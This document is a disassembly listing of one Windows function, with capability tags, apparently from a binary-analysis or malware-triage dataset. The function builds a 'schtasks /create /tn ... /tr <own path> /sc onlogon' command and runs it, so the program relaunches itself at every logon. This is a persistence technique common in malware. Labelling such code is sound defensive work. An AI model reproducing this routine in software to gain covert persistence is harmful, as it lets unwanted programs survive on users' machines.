Function at 0x43f910
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Get common file path
Read file on windows
Schedule task via schtasks

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x102d8
call fcn.00468890
mov eax, dword [0x55d68c]
xor eax, ebp
mov dword [ebp - 8], eax
push esi
push edi
push 0x100
push 0
lea eax, [ebp - 0x238]
push eax
call fcn.004611e0
add esp, 0xc
push 0x100
lea ecx, [ebp - 0x238]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov byte [ebp - 0x10238], 0
push 0xffff
push 0
lea edx, [ebp - 0x10237]
push edx
call fcn.004611e0
add esp, 0xc
mov dword [ebp - 0x114], 0
push 0x10000
push 0
lea eax, [ebp - 0x10238]
push eax
call fcn.004611e0
add esp, 0xc
mov dword [ebp - 0x12c], 1
mov dword [ebp - 0x130], 0
mov dword [ebp - 0x134], 0xc
push 0x10000
lea ecx, [ebp - 0x134]
push ecx
lea edx, [ebp - 4]
push edx
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x43f9e3
push 0
push 0x54a767
push 0x54c488
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov dword [ebp - 0x10280], 0x44
lea ecx, [ebp - 0x10280]
push ecx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov edx, dword [ebp - 4]
mov dword [ebp - 0x10240], edx
mov eax, dword [ebp - 4]
mov dword [ebp - 0x10244], eax
xor ecx, ecx
mov word [ebp - 0x10250], cx
mov dword [ebp - 0x10254], 0x101
lea edx, [ebp - 0x110]
push edx
push 0
push 0
push 0x25
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
push 0x54c49c
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
lea ecx, [ebp - 0x110]
add ecx, 0xffffffff
mov dword [ebp - 0x10284], ecx
mov edx, dword [ebp - 0x10284]
mov al, byte [edx + 1]
mov byte [ebp - 0x10285], al
add dword [ebp - 0x10284], 1
cmp byte [ebp - 0x10285], 0
jne 0x43fa55
mov edi, dword [ebp - 0x10284]
mov ecx, dword [str.__create__tn]
mov dword [edi], ecx
mov edx, dword [0x54c4b0]
mov dword [edi + 4], edx
mov eax, dword [0x54c4b4]
mov dword [edi + 8], eax
mov cx, word [0x54c4b8]
mov word [edi + 0xc], cx
lea edx, [ebp - 0x110]
add edx, 0xffffffff
mov dword [ebp - 0x1028c], edx
mov eax, dword [ebp - 0x1028c]
mov cl, byte [eax + 1]
mov byte [ebp - 0x1028d], cl
add dword [ebp - 0x1028c], 1
cmp byte [ebp - 0x1028d], 0
jne 0x43faad
mov edi, dword [ebp - 0x1028c]
mov dx, word [0x54c4bc]
mov word [edi], dx
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10294], eax
mov ecx, dword [ebp - 0x10294]
mov dword [ebp - 0x10298], ecx
mov edx, dword [ebp - 0x10294]
mov al, byte [edx]
mov byte [ebp - 0x10299], al
add dword [ebp - 0x10294], 1
cmp byte [ebp - 0x10299], 0
jne 0x43faf1
mov ecx, dword [ebp - 0x10294]
sub ecx, dword [ebp - 0x10298]
mov edx, dword [ebp - 0x10298]
mov dword [ebp - 0x102a0], edx
mov dword [ebp - 0x102a4], ecx
lea eax, [ebp - 0x110]
add eax, 0xffffffff
mov dword [ebp - 0x102a8], eax
mov ecx, dword [ebp - 0x102a8]
mov dl, byte [ecx + 1]
mov byte [ebp - 0x102a9], dl
add dword [ebp - 0x102a8], 1
cmp byte [ebp - 0x102a9], 0
jne 0x43fb3c
mov edi, dword [ebp - 0x102a8]
mov esi, dword [ebp - 0x102a0]
mov eax, dword [ebp - 0x102a4]
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x110]
add ecx, 0xffffffff
mov dword [ebp - 0x102b0], ecx
mov edx, dword [ebp - 0x102b0]
mov al, byte [edx + 1]
mov byte [ebp - 0x102b1], al
add dword [ebp - 0x102b0], 1
cmp byte [ebp - 0x102b1], 0
jne 0x43fb8a
mov edi, dword [ebp - 0x102b0]
mov ecx, dword [str.___tr__]
mov dword [edi], ecx
mov edx, dword [0x54c4c4]
mov dword [edi + 4], edx
lea eax, [ebp - 0x238]
mov dword [ebp - 0x102b8], eax
mov ecx, dword [ebp - 0x102b8]
mov dword [ebp - 0x102bc], ecx
mov edx, dword [ebp - 0x102b8]
mov al, byte [edx]
mov byte [ebp - 0x102bd], al
add dword [ebp - 0x102b8], 1
cmp byte [ebp - 0x102bd], 0
jne 0x43fbd8
mov ecx, dword [ebp - 0x102b8]
sub ecx, dword [ebp - 0x102bc]
mov edx, dword [ebp - 0x102bc]
mov dword [ebp - 0x102c4], edx
mov dword [ebp - 0x102c8], ecx
lea eax, [ebp - 0x110]
add eax, 0xffffffff
mov dword [ebp - 0x102cc], eax
mov ecx, dword [ebp - 0x102cc]
mov dl, byte [ecx + 1]
mov byte [ebp - 0x102cd], dl
add dword [ebp - 0x102cc], 1
cmp byte [ebp - 0x102cd], 0
jne 0x43fc23
mov edi, dword [ebp - 0x102cc]
mov esi, dword [ebp - 0x102c4]
mov eax, dword [ebp - 0x102c8]
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x110]
add ecx, 0xffffffff
mov dword [ebp - 0x102d4], ecx
mov edx, dword [ebp - 0x102d4]
mov al, byte [edx + 1]
mov byte [ebp - 0x102d5], al
add dword [ebp - 0x102d4], 1
cmp byte [ebp - 0x102d5], 0
jne 0x43fc71
mov edi, dword [ebp - 0x102d4]
mov ecx, dword [str.___sc_onlogon]
mov dword [edi], ecx
mov edx, dword [0x54c4cc]
mov dword [edi + 4], edx
mov eax, dword [0x54c4d0]
mov dword [edi + 8], eax
mov cx, word [0x54c4d4]
mov word [edi + 0xc], cx
mov dl, byte [0x54c4d6]
mov byte [edi + 0xe], dl
lea eax, [ebp - 0x128]
push eax
lea ecx, [ebp - 0x10280]
push ecx
push 0
push 0
push 0
push 1
push 0
push 0
lea edx, [ebp - 0x110]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x43fcf7
mov eax, 1
jmp 0x43fd34
push 0xffffffffffffffff
mov eax, dword [ebp - 0x128]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
lea edx, [ebp - 0x114]
push edx
push 0xffff
lea eax, [ebp - 0x10238]
push eax
mov ecx, dword [ebp - 0x118]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
pop edi
pop esi
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00455328
mov esp, ebp
pop ebp
ret